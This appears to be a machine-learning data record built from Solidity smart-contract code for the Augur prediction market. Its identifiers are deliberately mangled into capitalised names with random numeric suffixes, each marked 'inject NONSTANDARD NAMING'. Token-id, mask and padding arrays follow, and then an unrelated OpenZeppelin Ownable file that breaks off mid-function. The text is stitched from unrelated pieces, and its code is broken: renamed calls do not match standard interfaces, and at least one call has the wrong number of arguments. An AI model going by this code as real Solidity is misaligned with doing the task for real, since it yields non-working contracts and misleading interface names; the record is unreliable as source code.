function MIGRATEMARKETIN285(IMarket _market, uint256 _cashBalance, uint256 _marketOI) public returns (bool); //inject NONSTANDARD NAMING
function DECREMENTOPENINTEREST834(uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING
function DECREMENTOPENINTERESTFROMMARKET346(IMarket _market) public returns (bool); //inject NONSTANDARD NAMING
function INCREMENTOPENINTEREST645(uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING
function GETWINNINGCHILDUNIVERSE709() public view returns (IUniverse); //inject NONSTANDARD NAMING
function ISFORKING853() public view returns (bool); //inject NONSTANDARD NAMING
function DEPOSIT693(address _sender, uint256 _amount, address _market) public returns (bool); //inject NONSTANDARD NAMING
function WITHDRAW474(address _recipient, uint256 _amount, address _market) public returns (bool); //inject NONSTANDARD NAMING
function CREATESCALARMARKET875(uint256 _endTime, uint256 _feePerCashInAttoCash, IAffiliateValidator _affiliateValidator, uint256 _affiliateFeeDivisor, address _designatedReporterAddress, int256[] memory _prices, uint256 _numTicks, string memory _extraInfo) public returns (IMarket _newMarket); //inject NONSTANDARD NAMING
}
contract IV2ReputationToken is IReputationToken {
function PARENTUNIVERSE976() external returns (IUniverse); //inject NONSTANDARD NAMING
function BURNFORMARKET683(uint256 _amountToBurn) public returns (bool); //inject NONSTANDARD NAMING
function MINTFORWARPSYNC909(uint256 _amountToMint, address _target) public returns (bool); //inject NONSTANDARD NAMING
}
library Reporting {
uint256 private constant designated_reporting_duration_seconds939 = 1 days; //inject NONSTANDARD NAMING
uint256 private constant dispute_round_duration_seconds351 = 7 days; //inject NONSTANDARD NAMING
uint256 private constant initial_dispute_round_duration_seconds185 = 1 days; //inject NONSTANDARD NAMING
uint256 private constant dispute_window_buffer_seconds655 = 1 hours; //inject NONSTANDARD NAMING
uint256 private constant fork_duration_seconds463 = 60 days; //inject NONSTANDARD NAMING
uint256 private constant base_market_duration_maximum20 = 30 days; // A market of 30 day length can always be created //inject NONSTANDARD NAMING
uint256 private constant upgrade_cadence254 = 365 days; //inject NONSTANDARD NAMING
uint256 private constant initial_upgrade_timestamp605 = 1627776000; // Aug 1st 2021 //inject NONSTANDARD NAMING
uint256 private constant initial_rep_supply507 = 11 * 10 ** 6 * 10 ** 18; // 11 Million REP //inject NONSTANDARD NAMING
uint256 private constant affiliate_source_cut_divisor194 = 5; // The trader gets 20% of the affiliate fee when an affiliate fee is taken //inject NONSTANDARD NAMING
uint256 private constant default_validity_bond803 = 10 ether; // 10 Cash (Dai) //inject NONSTANDARD NAMING
uint256 private constant validity_bond_floor708 = 10 ether; // 10 Cash (Dai) //inject NONSTANDARD NAMING
uint256 private constant default_reporting_fee_divisor809 = 10000; // .01% fees //inject NONSTANDARD NAMING
uint256 private constant maximum_reporting_fee_divisor548 = 10000; // Minimum .01% fees //inject NONSTANDARD NAMING
uint256 private constant minimum_reporting_fee_divisor749 = 3; // Maximum 33.3~% fees. Note than anything less than a value of 2 here will likely result in bugs such as divide by 0 cases. //inject NONSTANDARD NAMING
uint256 private constant target_invalid_markets_divisor747 = 100; // 1% of markets are expected to be invalid //inject NONSTANDARD NAMING
uint256 private constant target_incorrect_designated_report_markets_divisor83 = 100; // 1% of markets are expected to have an incorrect designate report //inject NONSTANDARD NAMING
uint256 private constant target_designated_report_no_shows_divisor678 = 20; // 5% of markets are expected to have a no show //inject NONSTANDARD NAMING
uint256 private constant target_rep_market_cap_multiplier475 = 5; // We multiply and divide by constants since we may want to multiply by a fractional amount //inject NONSTANDARD NAMING
uint256 private constant fork_threshold_divisor49 = 40; // 2.5% of the total REP supply being filled in a single dispute bond will trigger a fork //inject NONSTANDARD NAMING
uint256 private constant maximum_dispute_rounds529 = 20; // We ensure that after 20 rounds of disputes a fork will occur //inject NONSTANDARD NAMING
uint256 private constant minimum_slow_rounds438 = 8; // We ensure that at least 8 dispute rounds take DISPUTE_ROUND_DURATION_SECONDS+ seconds to complete until the next round begins //inject NONSTANDARD NAMING
function GETDESIGNATEDREPORTINGDURATIONSECONDS10() internal pure returns (uint256) { return designated_reporting_duration_seconds939; } //inject NONSTANDARD NAMING
function GETINITIALDISPUTEROUNDDURATIONSECONDS286() internal pure returns (uint256) { return initial_dispute_round_duration_seconds185; } //inject NONSTANDARD NAMING
function GETDISPUTEWINDOWBUFFERSECONDS683() internal pure returns (uint256) { return dispute_window_buffer_seconds655; } //inject NONSTANDARD NAMING
function GETDISPUTEROUNDDURATIONSECONDS187() internal pure returns (uint256) { return dispute_round_duration_seconds351; } //inject NONSTANDARD NAMING
function GETFORKDURATIONSECONDS842() internal pure returns (uint256) { return fork_duration_seconds463; } //inject NONSTANDARD NAMING
function GETBASEMARKETDURATIONMAXIMUM759() internal pure returns (uint256) { return base_market_duration_maximum20; } //inject NONSTANDARD NAMING
function GETUPGRADECADENCE338() internal pure returns (uint256) { return upgrade_cadence254; } //inject NONSTANDARD NAMING
function GETINITIALUPGRADETIMESTAMP486() internal pure returns (uint256) { return initial_upgrade_timestamp605; } //inject NONSTANDARD NAMING
function GETDEFAULTVALIDITYBOND656() internal pure returns (uint256) { return default_validity_bond803; } //inject NONSTANDARD NAMING
function GETVALIDITYBONDFLOOR634() internal pure returns (uint256) { return validity_bond_floor708; } //inject NONSTANDARD NAMING
function GETTARGETINVALIDMARKETSDIVISOR906() internal pure returns (uint256) { return target_invalid_markets_divisor747; } //inject NONSTANDARD NAMING
function GETTARGETINCORRECTDESIGNATEDREPORTMARKETSDIVISOR444() internal pure returns (uint256) { return target_incorrect_designated_report_markets_divisor83; } //inject NONSTANDARD NAMING
function GETTARGETDESIGNATEDREPORTNOSHOWSDIVISOR524() internal pure returns (uint256) { return target_designated_report_no_shows_divisor678; } //inject NONSTANDARD NAMING
function GETTARGETREPMARKETCAPMULTIPLIER935() internal pure returns (uint256) { return target_rep_market_cap_multiplier475; } //inject NONSTANDARD NAMING
function GETMAXIMUMREPORTINGFEEDIVISOR201() internal pure returns (uint256) { return maximum_reporting_fee_divisor548; } //inject NONSTANDARD NAMING
function GETMINIMUMREPORTINGFEEDIVISOR230() internal pure returns (uint256) { return minimum_reporting_fee_divisor749; } //inject NONSTANDARD NAMING
function GETDEFAULTREPORTINGFEEDIVISOR804() internal pure returns (uint256) { return default_reporting_fee_divisor809; } //inject NONSTANDARD NAMING
function GETINITIALREPSUPPLY859() internal pure returns (uint256) { return initial_rep_supply507; } //inject NONSTANDARD NAMING
function GETAFFILIATESOURCECUTDIVISOR779() internal pure returns (uint256) { return affiliate_source_cut_divisor194; } //inject NONSTANDARD NAMING
function GETFORKTHRESHOLDDIVISOR823() internal pure returns (uint256) { return fork_threshold_divisor49; } //inject NONSTANDARD NAMING
function GETMAXIMUMDISPUTEROUNDS774() internal pure returns (uint256) { return maximum_dispute_rounds529; } //inject NONSTANDARD NAMING
function GETMINIMUMSLOWROUNDS218() internal pure returns (uint256) { return minimum_slow_rounds438; } //inject NONSTANDARD NAMING
}
contract IAugurTrading {
function LOOKUP594(bytes32 _key) public view returns (address); //inject NONSTANDARD NAMING
function LOGPROFITLOSSCHANGED911(IMarket _market, address _account, uint256 _outcome, int256 _netPosition, uint256 _avgPrice, int256 _realizedProfit, int256 _frozenFunds, int256 _realizedCost) public returns (bool); //inject NONSTANDARD NAMING
function LOGORDERCREATED154(IUniverse _universe, bytes32 _orderId, bytes32 _tradeGroupId) public returns (bool); //inject NONSTANDARD NAMING
function LOGORDERCANCELED389(IUniverse _universe, IMarket _market, address _creator, uint256 _tokenRefund, uint256 _sharesRefund, bytes32 _orderId) public returns (bool); //inject NONSTANDARD NAMING
function LOGORDERFILLED166(IUniverse _universe, address _creator, address _filler, uint256 _price, uint256 _fees, uint256 _amountFilled, bytes32 _orderId, bytes32 _tradeGroupId) public returns (bool); //inject NONSTANDARD NAMING
function LOGMARKETVOLUMECHANGED635(IUniverse _universe, address _market, uint256 _volume, uint256[] memory _outcomeVolumes, uint256 _totalTrades) public returns (bool); //inject NONSTANDARD NAMING
function LOGZEROXORDERFILLED898(IUniverse _universe, IMarket _market, bytes32 _orderHash, bytes32 _tradeGroupId, uint8 _orderType, address[] memory _addressData, uint256[] memory _uint256Data) public returns (bool); //inject NONSTANDARD NAMING
function LOGZEROXORDERCANCELED137(address _universe, address _market, address _account, uint256 _outcome, uint256 _price, uint256 _amount, uint8 _type, bytes32 _orderHash) public; //inject NONSTANDARD NAMING
}
contract IOrders {
function SAVEORDER165(uint256[] calldata _uints, bytes32[] calldata _bytes32s, Order.Types _type, IMarket _market, address _sender) external returns (bytes32 _orderId); //inject NONSTANDARD NAMING
function REMOVEORDER407(bytes32 _orderId) external returns (bool); //inject NONSTANDARD NAMING
function GETMARKET927(bytes32 _orderId) public view returns (IMarket); //inject NONSTANDARD NAMING
function GETORDERTYPE39(bytes32 _orderId) public view returns (Order.Types); //inject NONSTANDARD NAMING
function GETOUTCOME167(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETAMOUNT930(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETPRICE598(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORDERCREATOR755(bytes32 _orderId) public view returns (address); //inject NONSTANDARD NAMING
function GETORDERSHARESESCROWED20(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORDERMONEYESCROWED161(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORDERDATAFORCANCEL357(bytes32 _orderId) public view returns (uint256, uint256, Order.Types, IMarket, uint256, address); //inject NONSTANDARD NAMING
function GETORDERDATAFORLOGS935(bytes32 _orderId) public view returns (Order.Types, address[] memory _addressData, uint256[] memory _uint256Data); //inject NONSTANDARD NAMING
function GETBETTERORDERID822(bytes32 _orderId) public view returns (bytes32); //inject NONSTANDARD NAMING
function GETWORSEORDERID439(bytes32 _orderId) public view returns (bytes32); //inject NONSTANDARD NAMING
function GETBESTORDERID727(Order.Types _type, IMarket _market, uint256 _outcome) public view returns (bytes32); //inject NONSTANDARD NAMING
function GETWORSTORDERID835(Order.Types _type, IMarket _market, uint256 _outcome) public view returns (bytes32); //inject NONSTANDARD NAMING
function GETLASTOUTCOMEPRICE593(IMarket _market, uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING
function GETORDERID157(Order.Types _type, IMarket _market, uint256 _amount, uint256 _price, address _sender, uint256 _blockNumber, uint256 _outcome, uint256 _moneyEscrowed, uint256 _sharesEscrowed) public pure returns (bytes32); //inject NONSTANDARD NAMING
function GETTOTALESCROWED463(IMarket _market) public view returns (uint256); //inject NONSTANDARD NAMING
function ISBETTERPRICE274(Order.Types _type, uint256 _price, bytes32 _orderId) public view returns (bool); //inject NONSTANDARD NAMING
function ISWORSEPRICE692(Order.Types _type, uint256 _price, bytes32 _orderId) public view returns (bool); //inject NONSTANDARD NAMING
function ASSERTISNOTBETTERPRICE18(Order.Types _type, uint256 _price, bytes32 _betterOrderId) public view returns (bool); //inject NONSTANDARD NAMING
function ASSERTISNOTWORSEPRICE875(Order.Types _type, uint256 _price, bytes32 _worseOrderId) public returns (bool); //inject NONSTANDARD NAMING
function RECORDFILLORDER693(bytes32 _orderId, uint256 _sharesFilled, uint256 _tokensFilled, uint256 _fill) external returns (bool); //inject NONSTANDARD NAMING
function SETPRICE687(IMarket _market, uint256 _outcome, uint256 _price) external returns (bool); //inject NONSTANDARD NAMING
}
library Order {
using SafeMathUint256 for uint256;
enum Types {
Bid, Ask
}
enum TradeDirections {
Long, Short
}
struct Data {
// Contracts
IMarket market;
IAugur augur;
IAugurTrading augurTrading;
IShareToken shareToken;
ICash cash;
// Order
bytes32 id;
address creator;
uint256 outcome;
Order.Types orderType;
uint256 amount;
uint256 price;
uint256 sharesEscrowed;
uint256 moneyEscrowed;
bytes32 betterOrderId;
bytes32 worseOrderId;
}
function CREATE815(IAugur _augur, IAugurTrading _augurTrading, address _creator, uint256 _outcome, Order.Types _type, uint256 _attoshares, uint256 _price, IMarket _market, bytes32 _betterOrderId, bytes32 _worseOrderId) internal view returns (Data memory) { //inject NONSTANDARD NAMING
require(_outcome < _market.GETNUMBEROFOUTCOMES636(), "Order.create: Outcome is not within market range");
require(_price != 0, "Order.create: Price may not be 0");
require(_price < _market.GETNUMTICKS752(), "Order.create: Price is outside of market range");
require(_attoshares > 0, "Order.create: Cannot use amount of 0");
require(_creator != address(0), "Order.create: Creator is 0x0");
IShareToken _shareToken = IShareToken(_augur.LOOKUP594("ShareToken"));
return Data({
market: _market,
augur: _augur,
augurTrading: _augurTrading,
shareToken: _shareToken,
cash: ICash(_augur.LOOKUP594("Cash")),
id: 0,
creator: _creator,
outcome: _outcome,
orderType: _type,
amount: _attoshares,
price: _price,
sharesEscrowed: 0,
moneyEscrowed: 0,
betterOrderId: _betterOrderId,
worseOrderId: _worseOrderId
});
}
//
// "public" functions
//
function GETORDERID157(Order.Data memory _orderData, IOrders _orders) internal view returns (bytes32) { //inject NONSTANDARD NAMING
if (_orderData.id == bytes32(0)) {
bytes32 _orderId = CALCULATEORDERID856(_orderData.orderType, _orderData.market, _orderData.amount, _orderData.price, _orderData.creator, block.number, _orderData.outcome, _orderData.moneyEscrowed, _orderData.sharesEscrowed);
require(_orders.GETAMOUNT930(_orderId) == 0, "Order.getOrderId: New order had amount. This should not be possible");
_orderData.id = _orderId;
}
return _orderData.id;
}
function CALCULATEORDERID856(Order.Types _type, IMarket _market, uint256 _amount, uint256 _price, address _sender, uint256 _blockNumber, uint256 _outcome, uint256 _moneyEscrowed, uint256 _sharesEscrowed) internal pure returns (bytes32) { //inject NONSTANDARD NAMING
return sha256(abi.encodePacked(_type, _market, _amount, _price, _sender, _blockNumber, _outcome, _moneyEscrowed, _sharesEscrowed));
}
function GETORDERTRADINGTYPEFROMMAKERDIRECTION100(Order.TradeDirections _creatorDirection) internal pure returns (Order.Types) { //inject NONSTANDARD NAMING
return (_creatorDirection == Order.TradeDirections.Long) ? Order.Types.Bid : Order.Types.Ask;
}
function GETORDERTRADINGTYPEFROMFILLERDIRECTION800(Order.TradeDirections _fillerDirection) internal pure returns (Order.Types) { //inject NONSTANDARD NAMING
return (_fillerDirection == Order.TradeDirections.Long) ? Order.Types.Ask : Order.Types.Bid;
}
function SAVEORDER165(Order.Data memory _orderData, bytes32 _tradeGroupId, IOrders _orders) internal returns (bytes32) { //inject NONSTANDARD NAMING
GETORDERID157(_orderData, _orders);
uint256[] memory _uints = new uint256[](5);
_uints[0] = _orderData.amount;
_uints[1] = _orderData.price;
_uints[2] = _orderData.outcome;
_uints[3] = _orderData.moneyEscrowed;
_uints[4] = _orderData.sharesEscrowed;
bytes32[] memory _bytes32s = new bytes32[](4);
_bytes32s[0] = _orderData.betterOrderId;
_bytes32s[1] = _orderData.worseOrderId;
_bytes32s[2] = _tradeGroupId;
_bytes32s[3] = _orderData.id;
return _orders.SAVEORDER165(_uints, _bytes32s, _orderData.orderType, _orderData.market, _orderData.creator);
}
}
interface IUniswapV2Pair {
event APPROVAL665(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING
event TRANSFER723(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING
function NAME524() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL582() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS958() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY304() external view returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF492(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function ALLOWANCE377(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE293(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER644(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM669(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function DOMAIN_SEPARATOR256() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH256() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES605(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function PERMIT866(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING
event MINT159(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING
event BURN674(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING
event SWAP992( //inject NONSTANDARD NAMING
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event SYNC856(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING
function MINIMUM_LIQUIDITY585() external pure returns (uint); //inject NONSTANDARD NAMING
function FACTORY704() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN0151() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN132() external view returns (address); //inject NONSTANDARD NAMING
function GETRESERVES901() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING
function PRICE0CUMULATIVELAST708() external view returns (uint); //inject NONSTANDARD NAMING
function PRICE1CUMULATIVELAST245() external view returns (uint); //inject NONSTANDARD NAMING
function KLAST943() external view returns (uint); //inject NONSTANDARD NAMING
function MINT146(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING
function BURN234(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING
function SWAP505(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING
function SKIM81(address to) external; //inject NONSTANDARD NAMING
function SYNC86() external; //inject NONSTANDARD NAMING
function INITIALIZE90(address, address) external; //inject NONSTANDARD NAMING
}
contract IRepSymbol {
function GETREPSYMBOL498(address _augur, address _universe) external view returns (string memory); //inject NONSTANDARD NAMING
}
contract ReputationToken is VariableSupplyToken, IV2ReputationToken {
using SafeMathUint256 for uint256;
string constant public name600 = "Reputation"; //inject NONSTANDARD NAMING
IUniverse internal universe;
IUniverse public parentUniverse;
uint256 internal totalMigrated;
IERC20 public legacyRepToken;
IAugur public augur;
address public warpSync;
constructor(IAugur _augur, IUniverse _universe, IUniverse _parentUniverse) public {
augur = _augur;
universe = _universe;
parentUniverse = _parentUniverse;
warpSync = _augur.LOOKUP594("WarpSync");
legacyRepToken = IERC20(_augur.LOOKUP594("LegacyReputationToken"));
require(warpSync != address(0));
require(legacyRepToken != IERC20(0));
}
function SYMBOL582() public view returns (string memory) { //inject NONSTANDARD NAMING
return IRepSymbol(augur.LOOKUP594("RepSymbol")).GETREPSYMBOL498(address(augur), address(universe));
}
function MIGRATEOUTBYPAYOUT436(uint256[] memory _payoutNumerators, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(_attotokens > 0);
IUniverse _destinationUniverse = universe.CREATECHILDUNIVERSE712(_payoutNumerators);
IReputationToken _destination = _destinationUniverse.GETREPUTATIONTOKEN35();
BURN234(msg.sender, _attotokens);
_destination.MIGRATEIN692(msg.sender, _attotokens);
return true;
}
function MIGRATEIN692(address _reporter, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
IUniverse _parentUniverse = parentUniverse;
require(ReputationToken(msg.sender) == _parentUniverse.GETREPUTATIONTOKEN35());
require(augur.GETTIMESTAMP626() < _parentUniverse.GETFORKENDTIME510());
MINT146(_reporter, _attotokens);
totalMigrated += _attotokens;
// Update the fork tentative winner and finalize if we can
if (!_parentUniverse.GETFORKINGMARKET637().ISFINALIZED623()) {
_parentUniverse.UPDATETENTATIVEWINNINGCHILDUNIVERSE89(universe.GETPARENTPAYOUTDISTRIBUTIONHASH230());
}
return true;
}
function MINTFORREPORTINGPARTICIPANT798(uint256 _amountMigrated) public returns (bool) { //inject NONSTANDARD NAMING
IReportingParticipant _reportingParticipant = IReportingParticipant(msg.sender);
require(parentUniverse.ISCONTAINERFORREPORTINGPARTICIPANT696(_reportingParticipant));
// simulate a 40% ROI which would have occured during a normal dispute had this participant's outcome won the dispute
uint256 _bonus = _amountMigrated.MUL760(2) / 5;
MINT146(address(_reportingParticipant), _bonus);
return true;
}
function MINTFORWARPSYNC909(uint256 _amountToMint, address _target) public returns (bool) { //inject NONSTANDARD NAMING
require(warpSync == msg.sender);
MINT146(_target, _amountToMint);
universe.UPDATEFORKVALUES73();
return true;
}
function BURNFORMARKET683(uint256 _amountToBurn) public returns (bool) { //inject NONSTANDARD NAMING
require(universe.ISCONTAINERFORMARKET856(IMarket(msg.sender)));
BURN234(msg.sender, _amountToBurn);
return true;
}
function TRUSTEDUNIVERSETRANSFER148(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(IUniverse(msg.sender) == universe);
_TRANSFER433(_source, _destination, _attotokens);
return true;
}
function TRUSTEDMARKETTRANSFER61(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(universe.ISCONTAINERFORMARKET856(IMarket(msg.sender)));
_TRANSFER433(_source, _destination, _attotokens);
return true;
}
function TRUSTEDREPORTINGPARTICIPANTTRANSFER10(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(universe.ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant(msg.sender)));
_TRANSFER433(_source, _destination, _attotokens);
return true;
}
function TRUSTEDDISPUTEWINDOWTRANSFER53(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING
require(universe.ISCONTAINERFORDISPUTEWINDOW320(IDisputeWindow(msg.sender)));
_TRANSFER433(_source, _destination, _attotokens);
return true;
}
function ASSERTREPUTATIONTOKENISLEGITCHILD164(IReputationToken _shadyReputationToken) private view { //inject NONSTANDARD NAMING
IUniverse _universe = _shadyReputationToken.GETUNIVERSE719();
require(universe.ISPARENTOF319(_universe));
require(_universe.GETREPUTATIONTOKEN35() == _shadyReputationToken);
}
function GETUNIVERSE719() public view returns (IUniverse) { //inject NONSTANDARD NAMING
return universe;
}
function GETTOTALMIGRATED220() public view returns (uint256) { //inject NONSTANDARD NAMING
return totalMigrated;
}
function GETLEGACYREPTOKEN110() public view returns (IERC20) { //inject NONSTANDARD NAMING
return legacyRepToken;
}
function GETTOTALTHEORETICALSUPPLY552() public view returns (uint256) { //inject NONSTANDARD NAMING
uint256 _totalSupply = totalSupply;
if (parentUniverse == IUniverse(0)) {
return _totalSupply.ADD571(legacyRepToken.TOTALSUPPLY304()).SUB692(legacyRepToken.BALANCEOF492(address(1))).SUB692(legacyRepToken.BALANCEOF492(address(0)));
} else if (augur.GETTIMESTAMP626() >= parentUniverse.GETFORKENDTIME510()) {
return _totalSupply;
} else {
return _totalSupply + parentUniverse.GETREPUTATIONTOKEN35().GETTOTALTHEORETICALSUPPLY552();
}
}
function ONTOKENTRANSFER292(address _from, address _to, uint256 _value) internal { //inject NONSTANDARD NAMING
augur.LOGREPUTATIONTOKENSTRANSFERRED904(universe, _from, _to, _value, balances[_from], balances[_to]);
}
function ONMINT315(address _target, uint256 _amount) internal { //inject NONSTANDARD NAMING
augur.LOGREPUTATIONTOKENSMINTED985(universe, _target, _amount, totalSupply, balances[_target]);
}
function ONBURN653(address _target, uint256 _amount) internal { //inject NONSTANDARD NAMING
augur.LOGREPUTATIONTOKENSBURNED995(universe, _target, _amount, totalSupply, balances[_target]);
}
function MIGRATEFROMLEGACYREPUTATIONTOKEN918() public returns (bool) { //inject NONSTANDARD NAMING
require(parentUniverse == IUniverse(0));
uint256 _legacyBalance = legacyRepToken.BALANCEOF492(msg.sender);
require(legacyRepToken.TRANSFERFROM669(msg.sender, address(1), _legacyBalance));
MINT146(msg.sender, _legacyBalance);
return true;
}
} | inject NONSTANDARD NAMING
| function TRUSTEDBUY954(address _buyer, uint256 _attotokens) public returns (bool); | 2,553,894 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4235,
5996,
2056,
3000,
61,
29,
6564,
12,
2867,
389,
70,
16213,
16,
2254,
5034,
389,
270,
3307,
3573,
13,
1071,
1135,
261,
6430,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-02-11
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/Owned.sol
pragma solidity 0.6.12;
// Requried one small change in openzeppelin version of ownable, so imported
// source code here. Notice line 26 for change.
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
/**
* @dev Changed _owner from 'private' to 'internal'
*/
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
